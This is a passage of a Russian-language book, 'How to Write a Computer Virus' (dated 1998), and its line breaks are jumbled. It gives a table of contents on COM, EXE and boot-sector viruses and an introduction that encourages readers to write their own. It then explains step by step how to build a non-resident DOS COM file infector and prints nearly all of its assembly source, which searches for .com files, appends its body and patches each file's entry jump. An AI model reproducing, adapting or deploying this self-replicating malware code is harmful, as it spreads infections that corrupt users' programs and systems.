КАК
НАПИСАТЬ КОМПЬЮТЕРНЫЙ ВИРУС
СОДЕРЖАНИЕ
стр.
ВВЕДЕНИЕ
..................................... 5
ЧАСТЬ
1 . COM - ВИРУСЫ ....................... 6
ГЛАВА
1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ
ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM
- программы ..................... 6
1.2 Как вирус может заразить
COM
- файл .......................... 7
1.3 Работа вируса в
зараженной
программе ................ 8
1.4 Как начинается
распространение
вируса .............. 9
1.5 Начало работы .......................
10
1.6 Вирус получает управление ...........
10
1.7 Восстанавливаем зараженную
программу
........................... 12
1.8 Запоминаем содержимое DTA ...........
12
1.9 Ищем подходящий файл ................
13
1.10
Читаем исходные три байта ........... 15
1.11
Выполняем необходимые расчеты ....... 16
1.12
Проверяем файл на зараженность ...... 18
1.13
Заражаем COM - программу ............ 19
1.14
Восстанавливаем DTA ................. 20
1.15
Передаем управление
зараженной
программе ................ 20
1.16
Область данных вирусной программы ... 21
1.17
Завершаем запускающую программу ..... 21
1.18
Текст нерезидентного COM - вируса ... 23
1.19
Комментарии ......................... 29
1.20
Испытание вируса .................... 29
ГЛАВА
2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ
ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
(
TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных
программах .............. 30
2.3 Алгоритм работы
резидентного
COM - вируса ........... 31
2.4 Заголовок вируса ....................
34
2.5 Вирус начинает работу ...............
34
2.6 Сохраняем регистры процессора .......
38
2.7 Создаем секцию
инициализации
....................... 39
2.8 Запрашиваем блок памяти .............
41
2.9 Делаем вирус " незаметным " .........
44
2.10
Получаем вектора прерываний ......... 46
2.11
Копируем вирусный код в память ...... 48
2.12
Устанавливаем вектора прерываний
на
вирусные обработчики ............. 48
2.13
Пишем резидентную часть ............. 50
2.14
Заражаем COM - файл ................. 51
2.15
Восстанавливаем регистры ............ 56
2.16
Пишем обработчики прерываний ........ 57
2.17
Обработчик Int 13h .................. 58
2.18
Обработчик Int 21h .................. 60
2.19
Обработчик Int 24h .................. 62
2.20
Обработчик Int 2Fh .................. 62
2.21
Обработчик Int 28h .................. 64
2.22
Область данных вируса ............... 64
2.23
Процедура идентификации COMMAND.COM.. 65
2.24
Завершаем программу ................. 66
2.25
Текст резидентного COM - вируса ..... 67
2.26
Комментарии ......................... 81
2.27
Испытание вируса .................... 82
ЧАСТЬ
2 . EXE - ВИРУСЫ ....................... 82
ГЛАВА
1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE
- ВИРУСА .................... 82
1.1 Формат EXE - файла на диске .........
82
1.2 Загрузка и выполнение
EXE
- программы ..................... 84
1.3 Как вирус может заразить
EXE
- файл .......................... 86
1.4 Работа вируса в
зараженной
программе ................ 86
1.5 Начало работы .......................
88
1.6 Вирус получает управление ...........
88
1.7 Ищем подходящий файл ................
89
1.8 Читаем заголовок файла ..............
92
1.9 Производим необходимые
вычисления
.......................... 93
1.10
Заражаем EXE - программу ............ 98
1.11
Восстанавливаем DTA ................. 99
1.12
Восстанавливаем точку входа ......... 100
1.13
Область данных вируса ............... 101
1.14
Используемые процедуры .............. 103
1.15
Работа завершена .................... 104
1.16
Полный текст
нерезидентного
EXE - вируса ......... 104
1.17
Несколько слов об
испытании
вируса .................... 112
ГЛАВА
2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE
- ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE
- вируса ........................ 113
2.2 Защита от
программ
- антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического
анализа .............. 116
2.4 Реализуем предложенный алгоритм .....
119
2.5 Пишем промежуточный обработчик ......
121
2.6 Защита от обнаружения вируса в файле.
122
2.7 Несколько слов о вредных
действиях
вирусной программы......... 122
2.8 Полный текст резидентного
EXE
- вируса ........................ 123
ЧАСТЬ
3 . ЗАГРУЗОЧНЫЕ ВИРУСЫ ................. 143
ГЛАВА
1 . РАЗРАБОТКА ЗАГРУЗОЧНОЙ
ВИРУСНОЙ
ПРОГРАММЫ .............. 143
1.1 Краткие сведения о начальной
загрузке
персонального компьютера ... 143
1.2 Понятие о загрузочных вирусах .......
144
1.3 Алгоритм работы загрузочного
вируса
.............................. 145
1.4 Как начинается распространение
вируса
.............................. 147
1.5 Начало работы .......................
147
1.6 Вирус получает управление ...........
148
1.7 Защита от антивирусных программ .....
150
1.8 Перехватываем Int 13h ...............
152
1.9 Читаем исходную BOOT - запись .......
153
1.10
Заражаем MBR винчестера ............. 154
1.11
Пишем обработчик прерывания Int 13h . 156
1.12
Используемые процедуры .............. 161
1.13
Область данных вируса ............... 162
1.14
Пишем секцию инсталляции ............ 163
1.15
Текст загрузочного вируса ........... 166
1.16
Комментарии ......................... 176
1.17
Испытание вируса .................... 177
ЗАКЛЮЧЕНИЕ
................................... 177
ПРИЛОЖЕНИЕ
1
Краткий
справочник по функциям
MS
DOS и BIOS ................................ 178
ПРИЛОЖЕНИЕ
2
Формат
загрузочной записи для MS DOS
различных
версий ............................. 186
ПРИЛОЖЕНИЕ
3
КОДЫ
ОШИБОК ПРИ ВЫПОЛНЕНИИ ФУНКЦИЙ
MS
DOS и BIOS ................................ 192
ЛИТЕРАТУРА
................................... 194
ВВЕДЕНИЕ
Компьютерные
вирусы со времени своего появления распространились чрезвычайно широко . Сейчас
уже трудно найти человека,который бы ни разу не слышал об этих " существах " .И
вместе с тем подавляющее большинство пользователей почти ничего не знают о том,
что это такое, и склонны приписывать вирусам различные фантастические
возможности, а также сильно преувеличивать их опасность.Словом,эта тема
окутывается завесой таинственности .Такое положение возникло, главным
образом, из - за почти полного отсутствия специальной литературы по данному
вопросу ( причина этого вполне понятна ).А в имеющейся литературе для
широкого круга читателей иногда можно встретить ошибочные и
неправдоподобные сведения .Например, в одной очень распространенной и читаемой
книге сказано, что некоторые вирусы "выживают" в компьютере даже после
выключения питания !Неизвестно,что имел ввиду автор,но эта фраза
полностью абсурдна . Дело в том, что при выключении питания содержимое
оперативной памяти теряется, в ПЗУ записать что - либо невозможно, а в CMOS
- памяти свободного места для хранения вирусного кода никогда не хватит
.Вирус может "выжить" в компьютере разве что на жестком диске, но этой
способностью обладают все вирусные программы .
Книга,
которая предлагается вашему вниманию, написана с использованием собственных
разработок, наблюдений и экспериментов автора .Изложение рассчитано на
пользователей, знакомых с языком ассемблера микропроцессоров семейства 8086
фирмы INTEL. Автор рассказывает о принципах работы компьютерных вирусов и
подробно описывает процесс создания нерезидентных, резидентных и
загрузочных вирусов. Разработка программ ведется от простого к сложному.
Предыдущие программы становятся основой для разработки последующих . Читатель
найдет в книге большое количество хорошо прокомментированных исходных
текстов .Каждая фаза создания вирусов подробно объясняется .В общем,читайте
и совершенствуйтесь !Разобравшись с программами,приведенными в
книге,вы сможете создавать собственные вирусы, а главное - повысите свой
профессиональный уровень .Кроме того, устойчивое мнение, что "Вирусы пишут
только гении,мудрецы и " посвященные " покинет вас навсегда .
УДАЧИ
!
18.08.1998
Автор
.
ЧАСТЬ
1 . COM - ВИРУСЫ
ГЛАВА
1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ
ПРОГРАММЫ
*
Эта глава написана "по мотивам" [ 3 ] и не претендует на оригинальность.
Предложенная в книге
П.Л.Хижняка
программа существенно переработана, исправлены замеченные ошибки и глюки. Так
что Главу 1 можно рассматривать как "ре-мэйк" разработки тов. Хижняка.
1.1 Загрузка и выполнение COM -
программы
Для
того, чтобы дальнейшее изложение стало более понятным, следует немного
рассказать о действиях MS DOS при запуске программы типа COM.
Для
запуска программ в системе MS DOS используется специальная функция EXEC .
Действия этой функции при запуске COM - программы выглядят так :
1.
Запускаемой программе отводится вся свободная в данный момент оперативная
память .Сегментная часть начального адреса этой памяти обычно называется
начальным сегментом программы.
2.
По нулевому смещению в сегменте, определяемом начальным сегментом программы,
EXEC строит специальную служебную структуру - так называемый PSP ( Program
Segment Prefix ), в котором содержится информация,необходимая для правильной
работы программы . Заполняет PSP операционная система ( ОС ), а его размер
всегда равен 100h ( 256 ) байт .
3.
Сразу вслед за PSP загружается сама COM - программа .
4.
EXEC выполняет настройку регистров процессора. При этом устанавливаются такие
значения :CS = DS = = SS = ES указывают на начальный сегмент программы,
регистр IP инициализируется числом 100h, а регистр SP - числом 0fffeh .
5.
Теперь загруженную COM - программу можно исполнить . Для этого EXEC
передает управление по адресу CS : 100h.После завершения программы
управление передается обратно в EXEC, а оттуда программе - предку .
Таким
образом,по адресу CS : 100h обязательно должна стоять первая исполняемая
команда .Чаще всего это команда перехода, но допустимо использовать и другие
.Следует также напомнить, что в MS DOS размер COM - файла не может
превышать 64 Кбайт. В самом деле, ведь COM - формат предполагает
размещение программных кодов, данных и стека в одном сегменте
оперативной памяти . А размер сегмента как раз и ограничен 64 Кбайтами .
1.2
Как вирус может заразить COM - файл
Под
заражением понимают присоединение вирусом своего кода к файлу .При этом
вирус должен так модифицировать заражаемый файл, чтобы получить
управление при его запуске .
Существует
несколько методов заражения COM - программ.Вирусный код может записываться
в конец, начало и даже в середину файла.Каждый из этих способов имеет
свои достоинства и недостатки.Мы же рассмотрим запись вирусного кода в
конец файла .Такой прием используется в подавляющем большинстве вирусов, и
обеспечивает хорошие результаты при сравнительно простой реализации .
Итак,
вирус записывает свой код в конец файла .Для того,чтобы при старте этот код
получил управление и начал выполняться, во время заражения программа несколько
модифицируется .
С
этой целью используется трехбайтовая команда прямого ближнего перехода . Вирус
записывает эту команду вместо первых трех байт заражаемого файла, а исходные три
байта сохраняет в своей области данных .Теперь при запуске зараженной программы
код вируса всегда будет выполняться первым .
1.3
Работа вируса в зараженной программе
Получив
управление при старте зараженной программы, вирус выполняет следующие
действия :
1.
Восстанавливает в памяти компьютера исходные три байтa этой программы .
2.
Ищет на диске подходящий COM - файл .
3.
Записывает свое тело в конец этого файла .
4.
Заменяет первые три байта заражаемой программы командой перехода на свой код,
сохранив предварительно исходные три байта в своей области данных.
5.
Выполняет вредные действия, предусмотренные автором .
6.
Передает управление зараженной программе . Поскольку в COM - файле точка
входа всегда равна CS : 100h, можно не выполнять сложных расчетов, а просто
выполнить переход на этот адрес .
Если
же подходящих для заражения COM - файлов найдено не было, то вирус просто
осуществляет переход на начало зараженной программы, из которой он и стартовал
.
После
этого зараженная программа выполняется,как обычно .
Сам
вирусный код выполняется очень быстро и для пользователя ЭВМ этот процесс
остается незаметным. Стоит заметить, что п.5 может вообще не выполняться
.Существуют вирусы, которые никак не проявляют себя, кроме размножения (
например, VIENNA 534 ). Вместе с тем есть и такие, которые способны нанести
определенный вред файлам или диску.Например,вирус ANTI_EXE мешает нормально
работать с EXE - файлами, DARK AVENGER записывает бессмысленную информацию
в случайные сектора диска, а ONEHALF шифрует сектора на винчестере один за
другим .Все зависит от изобретательности автора .
1.4
Как начинается распространение вируса
Очевидно,
чтобы вирус распространился, его нужно внедрить в вычислительную систему .
Делается это так :
1.
Автор разрабатывает вирусную программу . Обычно для этой цели используется язык
ассемблера, так как программы, написанные на нем,выполняются очень быстро и
имеют малый размер .Хотя есть вирусы, написанные на языке TURBO C и даже на
TURBO PASCAL .
2.
Исходный текст программы компилируется, и из него создается исполняемый файл
(обычно типа COM). Этот файл предназначен для того, чтобы " выпустить вирус на
свободу " .Назовем программу,записанную в этом файле, запускающей .
3.
Запускающая программа выполняется на машине,которую необходимо заразить
.
4.
Выпущенный на свободу вирус выполняет действия, описанные в 1.3 .Различие
заключается только в выполнении п.1 . А именно - при восстановлении в
памяти исходных трех байтов программы на их место записывается команда
перехода, передающая управление коду завершения запускающей программы.
Таким образом, при выполнении п.6 управление будет отдано операционной
системе, а на диске образуется зараженный файл. При копировании этого файла на
другие компьютеры и их запуске вирус начнет распространяться .
Итак,
займемся изготовлением COM - вируса ...
1.5
Начало работы
Для
разработки вируса лучше всего использовать COM формат.Это сделает его отладку
более простой и наглядной .Кроме того, структура COM - программы
намного проще и понятнее, чем структура программы в формате EXE.Поэтому
напишем стандартное начало COM программы :
prg
segment
assume
cs:prg,ds:prg,es:prg,ss:prg
org
100h
Директива
"assume cs:prg,ds:prg,es:prg,ss:prg" назначает все сегментные регистры
одному сегменту с именем PRG,а директива "org 100h" нужна для
резервирования места для PSP .
1.6
Вирус получает управление
После
этого вступления начинается собственно исполняемая часть программы ( метка
START ) :
start:
jmp vir
;Передача управ-
;ления
вирусному ;коду ...
org
110h
Команда
"jmp vir" передает управление вирусному коду, а директива "org 110h" указывает
компилятору размещать все коды после метки "vir",начиная с адреса 110h
.Число 110h принято для удобства расчета смещений при разработке вируса
.Чуть позже мы разберемся, зачем понадобилась команда "jmp vir", а пока
продолжим :
vir:
push ds
;Сохраним DS ...
;Корректируем
mov ax,ds
;регистр DS ... db 05h
;Код команды
add_to_ds:
dw 0
; " ADD AX,00h "
mov ds,ax
;AX -> DS
...
Поскольку
в зараженной программе область данных вируса будет сдвинута хотя бы на длину
этой программы,необходимо выполнить коррекцию регистра DS. Коррекция
осуществляется прибавлением к его содержимому длины программы в
параграфах,округленной в большую сторону .Например, длина программы
составляет 401 байт . Тогда она содержит 25 полных параграфов и еще 1
байт.Округленное число параграфов будет равно 26 .Эта величина и прибавляется к
регистру DS . При заражении вирус рассчитывает корректирующее число и
записывает его в область "add_ to_ds" .Теперь всякий раз при запуске зараженной
программы оно будет использоваться вирусом для исправления DS . В
запускающей программе DS корректировать не нужно, и поэтому для нее
"add_to_ds" равно нулю .
1.7
Восстанавливаем зараженную программу
Как
было указано в 1.3 ( п.1 ), вирус должен после запуска зараженной программы
восстановить в памяти компьютера ее исходные три байтa ( не на диске,
а только в памяти ! ) .Пусть вирус хранит исходные три байта в области
"old_bytes".
Итак
:
fresh_bytes:
mov
al,old_bytes
mov
cs:[100h],al
mov
al,old_bytes+1
mov
cs:[101h],al
mov
al,old_bytes+2
mov
cs:[102h],al
Вы
конечно знаете,что в COM - программе при ее загрузке по адресу CS : 100h
всегда находится первая исполняемая команда .В остальном работа фрагмента ясна
.
1.8
Запоминаем содержимое DTA
Data
Transfer Arrea ( DTA ) является одной из служебных структур MS DOS . Эта
область находится в PSP по смещению 80h, и активно используется последней
при работе с файлами .Например,многие функции MS DOS обращаются к DTA для
чтения или модификации ее содержимого.Поскольку DOS строит PSP для каждой
вновь запускаемой программы, для каждой из них создается и своя DTA .
Так
как наш вирус будет использовать при заражении и поиске файлов функции
DOS,содержимое DTA зараженной программы будет испорчено, и она, скорее
всего, не будет нормально работать.Поэтому содержимое DTA необходимо
сохранить. Для этой цели выделим массив из 128 байт с именем "old_dta":
mov cx,80h
;Размер DTA -
;128
байт ... mov
bx,80h
;Смещение к DTA lea
si,old_dta
;Адрес массива
save_dta:
mov al,byte
ptr cs:[bx];Читаем из DTA
;байт
и перено-
mov ds:[si],al ;сим его в мас-
;сив
...
inc bx ;К новому байту
inc si ;
loop save_dta ;Цикл 128
раз
Работа
фрагмента пояснений не требует ...
1.9
Ищем подходящий файл
Теперь
самое время заняться поиском файла для заражения.Для поиска файла - жертвы
мы будем использовать пару функций DOS : 4Eh ( поиск первого файла ) и
4Fh ( поиск следующего файла ) . При вызове 4Eh в регистр CX помещаются атрибуты
искомого файла, а в DX - его имя и расширение . Установленная нами маска
предполагает поиск COM-файла, с атрибутами "archive","system" и
"hidden".Функция 4Fh используется уже после того, как функция 4Eh нашла
первый файл, удовлетворяющий нашим требованиям.Вирус будет вызывать ее в
том случае, если найденный файл ему не подходит (например, он слишком велик).
Имя найденного файла описанные выше функции помещают в DTA по смещению 01eh
.
А
теперь приведем программный фрагмент, выполняющий поиск файла :
find_first:
mov ah,4eh
;Поиск первого
;файла
...
mov cx,00100110b
;archive, system
;hidden
lea dx,maska
;Маска для поис-
;ка
int 21h
jnc r_3 ;Нашли !
jmp restore_dta
;Ошибка !
find_next:
mov ah,3eh
;Закроем непод-
int 21h ;ходящий файл...
jnc r_2
jmp restore_dta
;Файл нельзя за-
;крыть
!
r_2:
mov ah,4fh
;И найдем сле-
int 21h ;дующий ...
jnc r_3 ;Файл найден !
jmp restore_dta
;Ошибка !
r_3:
mov cx,12
;Сотрем в буфере
lea si,fn
;"fn" имя пред-
destroy_name:
;ыдущего файла
mov byte ptr [si],0 ;
inc si ;
loop destroy_name ;Цикл 12 раз
...
xor
si,si
;И запишем в бу-
copy_name:
mov al,byte ptr cs:[si+9eh]
;фер
имя только
cmp al,0
;что найденного
;файла
...
je open
;В конце имени в
mov byte
ptr ds:fn[si],al
;DTA
всегда сто- inc si ;ит ноль, его мы
jmp copy_name
;и хотим достичь
Имя
файла в буфере " fn " необходимо стирать вот почему .Например, первым был найден
файл COMMAND. COM, и пусть он не подошел вирусу.Тогда вирус попытается
найти следующий файл.Пусть это будет WIN. COM .Его имя запишется в область " fn
",и она примет вид : WINMAND.COM. Такого файла на диске, скорее
всего,нет;если же попробовать к нему обратиться,это вызовет ошибку,и вирус
закончит работу.Чтобы этого не случалось, область " fn " после каждого
файла очищается. При ошибках в выполнении системных функций управление
передается на метку " restore_dta " . Затем вирус восстанавливает DTA зараженной
программы и осуществляет переход на ее начало .
1.10
Читаем исходные три байта
Итак,вирус
нашел COM - программу, которую теперь следует заразить .Но сначала необходимо
сохранить первые три байта этой программы ( см. 1.3, п.4 ). Для этого файл нужно
сначала открыть, а затем считать его первые три байта, что и реализуют
приведенные ниже программные строки . Напомним,что имя файла хранится в
строке " fn " .
open:
mov ax,3d02h
;Открыть файл
;для
чтения и ;записи ...
lea dx,fn
;Имя файла ...
int 21h ;
jnc
save_bytes
jmp restore_dta
;Файл не откры-
;вается
!
save_bytes:
;Считаем три
;байта
:
mov bx,ax
;Сохраним дес-
;криптор
в BX
mov ah,3fh
;Номер функции mov
cx,3
;Сколько байт ?
lea dx,old_bytes ;Буфер для
счи-
;тываемых
данных int 21h
jnc
found_size
jmp close
;Ошибка !
Приведенный
фрагмент помещает прочитанную информацию в область " old_bytes " .
Остальное ясно из комментариев .
1.11
Выполняем необходимые расчеты
В
этом пункте мы покажем, как вирус проводит расчет корректирующего числа для
регистра DS ( см .
1.4
), а также смещения на свой код .Напомним,что это смещение записывается в начало
заражаемого файла и зависит от его длины . Исходной величиной для расчета служит
длина заражаемого файла,которую DOS вместе с именем найденного файла и рядом
других его характеристик помещает в DTA .Размер записывается в DTA по
смещению 01Ah ( младшее слово ) 1Ch ( старшее ) . Так как длина COM - файла не
может быть больше 65535 байт, она помещается в младшее слово целиком.А
слово по смещению 01Ch обнуляется !
Вышеуказанные
расчеты можно произвести следующим образом :
found_size:
mov ax,cs:[09ah]
;Найдем размер
;файла
count_size:mov si,ax
cmp ax,64000 ;Файл длиннее
;64000
байт ? jna toto
;Нет ... jmp
find_next
;Да - тогда он
;нам
не подходит toto: test ax,000fh ;Округлим размер
jz krat_16 ;до
целого числа
or ax,000fh
;параграфов в
inc ax ;большую
сторону
krat_16: mov di,ax
;И запишем ок-
;ругленное зна-
;чение
в DI ...
;Расчитаем сме-
;щение
для пере-
;хода
на код ви-
;руса
...
sub ax,3
;Сама команда
;перехода зани-
;мает
три байта! mov
byte ptr new_bytes[1],al
;Смещение
найде- mov byte ptr
new_bytes[2],ah
;но
!
mov ax,di
;Сколько пара-
mov cl,4
;графов содержит
shr ax,cl
;заражаемая про-
;грамма ?
dec
ax
;Учитываем дейс-
;твие
директивы
;ORG
110h ... mov byte ptr
add_to_ds,al
;Корректирующее
mov byte ptr
add_to_ds+1,ah
;число
найдено !
Вы
уже, конечно, поняли,что вирус будет округлять размер заражаемой программы до
целого числа параграфов в большую сторону .Например,пусть файл имеет длину
401 байт .Тогда вирус запишет в DI значение 416 ( 25 целых параграфов, и еще
один байт даст округленное значение 416 ).В " new_bytes " запишется число :
416 - 3 = 413, а в " add_to_ds " будет помещено значение : 26 - 1 = 25 .
Чтобы
лучше понять работу фрагмента,рекомендую вам посмотреть пункт 1.6 . И еще -
подумайте, зачем нужна команда " dec ax " .Надеюсь,вы без труда в этом
разберетесь !
1.12
Проверяем файл на зараженность
Мы,
кажется, слишком увлеклись работой и не заметили одной очень важной
детали.Ведь может случиться, что найденный нами файл уже заражен
предлагаемым вирусом, а мы об этом даже не догадываемся ! Поэтому наш вирус
заразит эту программу еще раз .В принципе,количество заражений ничем не
ограничено. Программа будет расти, пока не достигнет размера более 65535 байт, а
после этого перестанет работать.Чтобы такого не произошло, введем проверку
на зараженность .Например, в конец каждого заражаемого файла будем
записывать цифру " 7 ", а при заражении проверять ее наличие .
Итак
:
mov ax,4200h
;Установим ука-
xor cx,cx
;затель на пос-
dec si
;ледний байт
mov dx,si
;файла ...
int 21h
jnc read_last
jmp close
;Ошибка !
read_last:
;И считаем этот
mov ah,3fh ;байт в
ячейку
mov
cx,1
; " last " ...
lea
dx,last
int 21h
jc close
;Ошибка !
cmp last,'7'
;" last " =" 7 "
jne write_vir
;Нет - дальше
jmp find_next ;Да-
поищем дру-
;гой
файл ...
Можно,
конечно,провести более совершенную проверку зараженности,нашей же целью было
просто показать, как защитить файлы от повторного заражения .Читатель при желании
сам легко внесет необходимые
изменения в создаваемую программу .
1.13
Заражаем COM - программу
Наконец,
подходящий для заражения COM - файл найден . Он еще не заражен нашим
вирусом и имеет приемлемый размер . Поэтому самое время заняться
заражением .Этот процесс описан в 1.3 ( см. п.3 и п.4 ) .Здесь мы только
его реализуем :
write_vir:
mov ax,4200h
;Установим ука-
xor cx,cx
;затель на конец
mov dx,di
;файла ...
int 21h
jc close
;При ошибке -
;закроем файл
mov
ah,40h
;Запишем в файл
mov
cx,vir_len
;код вируса дли-
lea
dx,vir
;ной vir_len
int
21h
jc
close
;При ошибке -
;закроем файл
write_bytes:
mov ax,4200h ;Установим ука-
xor cx,cx
;затель на нача-
xor dx,dx
;ло файла
int 21h
jc
close
;При ошибке -
;закроем файл
mov
ah,40h
;Запишем в файл
mov
cx,3
;первые три бай-
lea
dx,new_bytes
;та ( команду
int
21h
;перехода ) ...
close:
mov ah,3eh
;Закроем зара-
int
21h
;женный файл ...
При
записи первых трех байт в файл помещается команда перехода на код вируса.
Все остальное можно понять из приведенных комментариев .
1.14
Восстанавливаем DTA
Для
корректной работы зараженной программы восстановим ее DTA .Напомним,что
вирус " прячет " ее в массиве " old_dta ".
Поэтому
:
restore_dta:
mov cx,80h
;Размер DTA -
;128
байт ... mov
bx,80h
;Смещение к DTA lea
si,old_dta
;Адрес массива
dta_fresh:
mov al,ds:[si] ;Читаем
из мас-
;сива
"old_dta"
mov byte ptr cs:[bx],al;байт и
перено-
;сим
его в DTA
inc bx
;К новому байту inc
si
;
loop dta_fresh ;Цикл 128 раз
1.15
Передаем управление зараженной программе
Работа
вируса окончена . Теперь он должен отдать управление программе - носителю.Как мы
выяснили,
для
этой цели достаточно выполнить переход на адрес CS : 100h . Поэтому занесем
в стек содержимое CS,и затем - число 100h.А после этого выполним команду
RET FAR .Она снимет с вершины стека записанные туда значения и передаст
управление по определяемому ими адресу :
pop ds ;Восстановим
;испорченный
DS push cs
;Занесем в стек
;регистр
CS
db 0b8h
;Код команды
jump:
dw 100h
;mov ax,100h
push ax
;Занесем в стек
;число
100h
retf
;Передача управ-
;ления
на задан-
;ный
адрес ...
1.16
Область данных вирусной программы
Настало
время привести данные, которыми оперирует наш вирус . Вот они :
old_bytes
db 0e9h
;Исходные три
;байта
заражен- dw vir_len + 0dh ;ной программы
old_dta db 128 dup (0)
;Здесь вирус
;хранит
исходную
;DTA
программы maska
db '*.com',0
;Маска для поис-
;ка
файлов ... fn
db 12 dup (' '),0 ;Сюда помещается
;имя
файла -жер-
;твы
... new_bytes db 0e9h
;Первые три бай-
db 00h
;та вируса в
db 00h
;файле ...
last
db 0
;Ячейка для пос-
;леднего
байта db '7'
;Последний байт
;вируса
в файле
Как
видим, данных не так уж и много !
1.17
Завершаем запускающую программу
Для
завершения запускающей вирус программы мы используем стандартную функцию
DOS, а именно - 4Ch :
vir_len equ $-vir
;Длина вирусного
;кода
...
prg_end: mov ah,4ch
;Завершение за-
INT
21H
;пускающей прог-
;раммы
...
db
'7'
;Без этого сим-
;вола
вирус за- ;разил бы сам
;себя
...
prg
ends
;Все ASM - прог-
end
start
;раммы заканчи-
;ваются
примерно ;так .
Вы,
наверное, заметили,что в запускающей программе при восстановлении первых трех
байт по адресу CS : 100h записывается команда перехода на метку " prg_ end
".После передачи управления на эту метку вирус отдает управление MS DOS . Если
бы в самом начале нашего вируса не было команды "jmp vir" (см.1.6),
то
запись по адресу CS : 100h перехода на метку " prg_end " разрушила бы
команды
push
ax
mov
ax,ds
(
см.1.6 ).В результате в заражаемый файл попал бы вирусный код с испорченными
первыми байтами . Это наверняка привело бы к полной неработоспособности файла -
жертвы .В нашем же случае будет разрушена лишь команда " jmp vir " .Поскольку в
файл она не записывается, нас это не интересует .
1.18
Текст нерезидентного COM - вируса
Как
видите, вирус написан, и пора привести его текст.Этим мы сейчас и займемся :
;
________________________________________________ ;|
| ;| Non - TSR COM virus
| ;| Especially for my readers !
|
;|________________________________________________|
prg
segment
assume
cs:prg,ds:prg,es:prg,ss:prg
org
100h
start:
jmp vir
;Передача управ-
;ления
вирусному ;коду ...
org
110h
vir:
push ds
;Сохраним DS ...
;Корректируем
mov
ax,ds
;регистр DS ...
db
05h
;Код команды
add_to_ds:
dw 0
; " ADD AX,00h "
mov ds,ax
;AX -> DS
...
fresh_bytes:
mov
al,old_bytes
mov
cs:[100h],al
mov
al,old_bytes+1
mov
cs:[101h],al
mov
al,old_bytes+2
mov
cs:[102h],al
mov cx,80h
;Размер DTA -
;128
байт ...
mov bx,80h
;Смещение к DTA
lea si,old_dta ;Адрес
массива
save_dta:
mov al,byte
ptr cs:[bx];Читаем из DTA
;байт
и перено-
mov ds:[si],al ;сим его в мас-
;сив
...
inc bx ;К новому байту
inc si ;
loop save_dta ;Цикл 128
раз
find_first:
mov ah,4eh
;Поиск первого
;файла
...
mov cx,00100110b
;archive, system
;hidden
lea dx,maska
;Маска для поис-
;ка
int 21h
jnc r_3 ;Нашли !
jmp restore_dta
;Ошибка !
find_next:
mov ah,3eh
;Закроем непод-
int 21h ;ходящий файл...
jnc r_2
jmp restore_dta
;Файл нельзя за-
;крыть
!
r_2:
mov ah,4fh
;И найдем сле-
int 21h ;дующий ...
jnc r_3 ;Файл найден !
jmp restore_dta
;Ошибка !
r_3:
mov cx,12
;Сотрем в буфере
lea si,fn
;"fn" имя пред-
destroy_name:
;ыдущего файла
mov byte ptr [si],0 ;
inc si ;
loop destroy_name ;Цикл 12 раз
...
xor
si,si
;И запишем в бу-
copy_name:
mov al,byte ptr cs:[si+9eh]
;фер
имя только
cmp al,0
;что найденного
;файла
...
je open
;В конце имени в
mov byte
ptr ds:fn[si],al
;DTA
всегда сто- inc si ;ит ноль, его мы
jmp copy_name
;и хотим достичь
open:
mov ax,3d02h
;Открыть файл
;для
чтения и
;записи
...
lea dx,fn
;Имя файла ...
int 21h ;Функция DOS
jnc
save_bytes
jmp restore_dta
;Файл не откры-
;вается
!
save_bytes:
;Считаем три
;байта
:
mov bx,ax
;Сохраним дес-
;криптор
в BX
mov ah,3fh
;Номер функции mov
cx,3
;Сколько байт ?
lea dx,old_bytes ;Буфер для
счи-
;тываемых
данных int 21h
jnc
found_size
jmp close
;Ошибка !
found_size:
mov ax,cs:[09ah]
;Найдем размер
;файла
count_size:mov si,ax
cmp ax,64000 ;Файл длиннее
;64000
байт ?
jna toto
;Нет ...
jmp find_next ;Да -
тогда он
;нам
не подходит toto: test ax,000fh ;Округлим размер
jz krat_16 ;до
целого числа
or ax,000fh
;параграфов в
inc ax ;большую
сторону
krat_16: mov di,ax
;И запишем ок-
;ругленное зна-
;чение
в DI ...
;Расчитаем сме-
;щение
для пере-
;хода
на код ви-
;руса
...
sub ax,3
;Сама команда
;перехода зани-
;мает
три байта! mov
byte ptr new_bytes[1],al
;Смещение
найде- mov byte ptr
new_bytes[2],ah
;но
!
mov ax,di
;Сколько пара-
mov cl,4
;графов содержит
shr ax,cl
;заражаемая про-
;грамма ?
dec
ax
;Учитываем дейс-
;твие
директивы
;ORG
110h ... mov byte ptr
add_to_ds,al
;Корректирующее
mov byte ptr
add_to_ds+1,ah
;число
найдено !
mov ax,4200h
;Установим ука-
xor cx,cx
;затель на пос-
dec si
;ледний байт
mov dx,si
;файла ...
int 21h
jnc read_last
jmp close
;Ошибка !
read_last:
;И считаем этот
mov ah,3fh ;байт в
ячейку
mov
cx,1
; " last " ...
lea
dx,last
int 21h
jc close
;Ошибка !
cmp last,'7'
;" last " =" 7 "
jne write_vir
;Нет - дальше
jmp find_next ;Да-
поищем дру-
;гой
файл ...
write_vir:
mov ax,4200h
;Установим ука-
xor cx,cx
;затель на конец
mov dx,di
;файла ...
int 21h
jc
close
;При ошибке -
;закроем файл
mov
ah,40h
;Запишем в файл
mov
cx,vir_len
;код вируса дли-
lea
dx,vir
;ной vir_len
int
21h
jc
close
;При ошибке -
;закроем файл
write_bytes:
mov
ax,4200h
;Установим ука-
xor
cx,cx
;затель на нача-
xor
dx,dx
;ло файла
int 21h
jc close
;При ошибке -
;закроем файл
mov
ah,40h
;Запишем в файл
mov
cx,3
;первые три бай-
lea
dx,new_bytes
;та ( команду
int
21h
;перехода ) ...
close:
mov ah,3eh
;Закроем зара-
int
21h
;женный файл ...
restore_dta:
mov cx,80h
;Размер DTA -
;128
байт ... mov
bx,80h
;Смещение к DTA lea
si,old_dta
;Адрес массива
dta_fresh:
mov al,ds:[si] ;Читаем
из мас-
;сива
"old_dta"
mov byte ptr cs:[bx],al;байт и
перено-
;сим
его в DTA
inc bx
;К новому байту inc
si
;
loop dta_fresh ;Цикл 128
раз
